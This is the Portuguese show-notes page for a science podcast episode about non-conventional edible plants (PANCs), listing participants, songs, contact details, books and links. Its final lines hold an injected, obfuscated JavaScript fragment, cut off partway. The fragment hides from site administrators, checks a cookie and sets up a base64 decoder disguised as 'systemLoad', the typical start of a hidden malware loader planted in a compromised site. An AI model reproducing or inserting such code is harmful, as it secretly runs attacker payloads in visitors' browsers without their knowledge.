Plantas Alimentícias Não Convencionais (S12E41)

Notas do episódio

Nesta semana, recebemos a bióloga, culinarista e coletora urbana Jennifer Rodrigues para uma conversa sobre Plantas Alimentícias Não Convencionais (PANCs), plantas que poderíamos consumir, mas não consumimos com frequência. Qual é o diferencial dessas plantas? Por que não as consumimos? Quais os benefícios delas para a natureza e sociedade? Como inseri-las na nossa alimentação? Descubra a resposta para estas e outras perguntas em nosso novo episódio! Participantes: Beatriz Alonso (@btz_alonso), Igor Lemes (@igorlemes84) e Jennifer Rodrigues (@jennifer.culinariaintuitiva). Edição por: Francisco Sassi Aconselhamos o uso de fones de ouvido para uma melhor experiência! Rock 1: Kairos - Sepultura Rock 2: Protect The Land - System of a Down Rock 3: Love Me Two Times - The Doors Ah, você não gosta das músicas? É uma pena, mas não tem problema! Agora você pode ouvir a versão sem músicas! Esse é o nosso Lado B! Assine o Lado B para sempre ter acesso ao episódio editado sem as músicas! Gostou do episódio? Não gostou do episódio? Encontrou alguma falha gritante (ou pequena que seja)? Envie seu comentário! Pode ser aqui mesmo no site ou pelo email rock@rockcomciencia.com.br. Ou ainda pelo Twitter (@rockcomciencia) ou Facebook (https://www.facebook.com/rockcomciencia/)! Jennifer Rodrigues - Contato: https://www.instagram.com/jennifer.culinariaintuitiva/?hl=pt Livros Recomendados: Plantas Alimentícias Não Convencionais do Instituto Plantarum Matos de Comer Links mencionados durante o episódio: https://come-se.blogspot.com/ http://www.matosdecomer.com.br/ @brunacrioula @matonoprato (function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i